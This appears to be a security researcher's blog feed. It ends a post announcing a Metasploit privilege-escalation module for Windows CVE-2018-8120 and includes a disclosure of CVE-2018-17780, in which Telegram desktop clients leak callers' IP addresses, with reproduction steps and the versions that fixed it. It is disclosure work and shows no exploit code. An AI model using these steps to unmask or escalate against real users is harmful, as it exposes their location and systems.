The path for this module will be `<a href="https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/local/ms18_8120_win32k_privesc.rb" rel="nofollow" target="_blank">exploit/windows/local/ms18_8120_win32k_privsec.rb</a>` view this in action. (Sweeeeeeet!) <br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgTWS7oMI4EpdCj4YdAR975VzMz1BiuSuIEGWYofvFiq8-Gurk03QvCxm6oKkKbDsVcErJGNrTw_jeLzuIJz2R7ef5JpIt2CGY3cwcmYd-Dus3wwDPivkQlibM3cz7cphu0LbTUSIIHlEo/s1600/CVE-2018-8120_MSF.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="309" data-original-width="951" height="206" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgTWS7oMI4EpdCj4YdAR975VzMz1BiuSuIEGWYofvFiq8-Gurk03QvCxm6oKkKbDsVcErJGNrTw_jeLzuIJz2R7ef5JpIt2CGY3cwcmYd-Dus3wwDPivkQlibM3cz7cphu0LbTUSIIHlEo/s640/CVE-2018-8120_MSF.png" width="640" /></a></div>
This module was tested against windows 7 x64 and x86 based systems and windows server 2008 R2 x64. However this vulnerability impacts following software versions or editions which are affected.<br />
<div style="text-align: left;">
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi3MbHBqVkWy9OAfDQHjo5U6H0WUkI5NPSHF2wDDBNH0WA4RvG2cTZxvWO-7iKlezIg7pfa7ts5i5hcL_t6J9X_xbe-IDA2nz2AtsERe1DaI8aZdPcMwpEW8LFG0gAUqXsgqxjwPyNKFKQ/s1600/CVE-2018-8120.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" data-original-height="571" data-original-width="1266" height="288" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi3MbHBqVkWy9OAfDQHjo5U6H0WUkI5NPSHF2wDDBNH0WA4RvG2cTZxvWO-7iKlezIg7pfa7ts5i5hcL_t6J9X_xbe-IDA2nz2AtsERe1DaI8aZdPcMwpEW8LFG0gAUqXsgqxjwPyNKFKQ/s640/CVE-2018-8120.png" width="640" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Reference: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-8120</td></tr>
</tbody></table>
<br />
<br />
<br /></div>
<div style="text-align: right;">
Thank you<br />
<a href="http://twitter.com/mishradhiraj_" target="_blank">Dhiraj</a></div>
</div>
Dhirajhttp://www.blogger.com/profile/17432054824339572035noreply@blogger.com0tag:blogger.com,1999:blog-7052034537728065557.post-21403445525419518472018-09-29T09:44:00.000-07:002018-09-29T09:44:55.352-07:00Telegram anonymity fails in desktop - CVE-2018-17780<div dir="ltr" style="text-align: left;" trbidi="on">
Hi Internet,<br />
<br />
<b>Summary:</b> Strangely <a href="https://github.com/telegramdesktop/tdesktop" target="_blank">tdesktop 1.3.14</a> and <a href="https://www.microsoft.com/en-in/p/telegram-messenger/9wzdncrdzhs0" target="_blank">Telegram for windows</a> (3.3.0.0 WP8.1) leaks end user private and public IP address while making calls. This bug was awarded €2000 by <a href="https://telegram.org/faq#q-why-should-i-trust-you" target="_blank">Telegram security</a> team. (Sweeet..)<br />
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiP2Qf1QISS3qHc4WabVfkWIoO3CnlVqRwxzMipzGhu_tZIK6ffKoMkyE1qAFUfgd1uIYLDgqsj2SAwfOMM9JpX9azfAKMg2NBkgUVkSbXotYwS2eC6VaBM0nUuzACFkyby_JcTw3jmTOI/s1600/tl_card_synchronize.gif" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" data-original-height="320" data-original-width="320" height="200" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiP2Qf1QISS3qHc4WabVfkWIoO3CnlVqRwxzMipzGhu_tZIK6ffKoMkyE1qAFUfgd1uIYLDgqsj2SAwfOMM9JpX9azfAKMg2NBkgUVkSbXotYwS2eC6VaBM0nUuzACFkyby_JcTw3jmTOI/s200/tl_card_synchronize.gif" width="200" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Img Src: https://telegram.org/img/tl_card_synchronize.gif</td></tr>
</tbody></table>
Telegram is supposedly a secure messaging application, but it forces clients to only use P2P connection while initiating a call, however this setting can also be changed from "Settings <b>></b> Privacy and security <b>></b> Calls <b>></b> peer-to-peer" to other available options. The tdesktop and telegram for windows breaks this trust by leaking public/private IP address of end user and there was no such option available yet for setting "P2P <b>></b> nobody" in tdesktop and telegram for windows. <br />
<br />
<b>PS:</b> Even telegram for android will also leak your IP address if you have not set "Settings <b>></b> Privacy and security <b>></b> Calls <b>></b> peer-to-peer <b>></b> nobody" (But Peer-to-Peer settings for call option already exists in telegram for android).<br />
<br />
<b>To view this in action in tdesktop:</b><br />
<div>
1. Open tdesktop,</div>
<div>
2. Initiate a call to anyone, </div>
<div>
3. You will notice the end user IP address is leaking. </div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<img border="0" data-original-height="664" data-original-width="1173" height="361" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiivOBVEiZ8FuqH0pItzO5S1PBXVOperIrYJBUEDjNaGILljKx5Qw3waqyWpiI2qqnDZgiJL6C7GirhQmThIzAU1j748GffrzF2sd18aFzkrQpZ9fACMExCVdJaTjEhiF78VPS8BAHvwUI/s640/Telegram.png" width="640" /> </div>
<div class="separator" style="clear: both; text-align: left;">
<b><br />Other scenario:</b> </div>
<div class="separator" style="clear: both; text-align: left;">
1. Open tdesktop in Ubuntu and login with user A</div>
2. Open telegram in windows phone login with user B<br />
3. Let user B initiate the call to user A<br />
4. While user A access log will have public/private IP address of user B.<br />
<div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjCEN_jtPcQl12EjaqxPRSr5G0wCusoMjjShJxpbFo-zIveXahzsN3EefaC1Fbn2v7yF65RKQydLmj9xVwhXxvjNWsKtRm9YWJ8Prjm78HfHx95zW201lwQApNsLLeidskCGMJBPQrwnhM/s1600/Telegram-1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="385" data-original-width="628" height="245" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjCEN_jtPcQl12EjaqxPRSr5G0wCusoMjjShJxpbFo-zIveXahzsN3EefaC1Fbn2v7yF65RKQydLmj9xVwhXxvjNWsKtRm9YWJ8Prjm78HfHx95zW201lwQApNsLLeidskCGMJBPQrwnhM/s400/Telegram-1.png" width="400" /></a></div>
Not
only the <a href="https://core.telegram.org/mtproto" target="_blank">MTProto Mobile Protocol</a> fails here in covering the IP address, rather such information can also be used for OSINT. This issue was fixed in <a href="https://github.com/telegramdesktop/tdesktop/releases/tag/v1.3.17" target="_blank">1.3.17 beta</a> and <a href="https://github.com/telegramdesktop/tdesktop/releases/tag/v1.4.0">v1.4.0</a> which have an option of setting your "P2P to Nobody/My contacts", Later <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-17780" target="_blank">CVE-2018-17780</a> was assign to this vulnerability. <br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgvAmODwa_-a5Wmp4DBP_KK83NxzZeGvf63iGy20Epjrtz9QChcQDd9Zj5slxv-Ik2rcJhyC2Zcz7CEJ9mk4HV5jH1G1UdPSA5P_e5gc1oUPF-NbsuJ6uGwSaCUPXva9o4HCHVNj6wgdQc/s1600/Telegram_Bug_Bounty.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="524" data-original-width="708" height="236" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgvAmODwa_-a5Wmp4DBP_KK83NxzZeGvf63iGy20Epjrtz9QChcQDd9Zj5slxv-Ik2rcJhyC2Zcz7CEJ9mk4HV5jH1G1UdPSA5P_e5gc1oUPF-NbsuJ6uGwSaCUPXva9o4HCHVNj6wgdQc/s320/Telegram_Bug_Bounty.png" width="320" /></a></div>
<br /></div>
<br />
<div style="text-align: right;">
Regards</div>
<div style="text-align: right;">
<a href="https://twitter.com/mishradhiraj_" target="_blank">Dhiraj</a></div>
</div>
Dhirajhttp://www.blogger.com/profile/17432054824339572035noreply@blogger.com0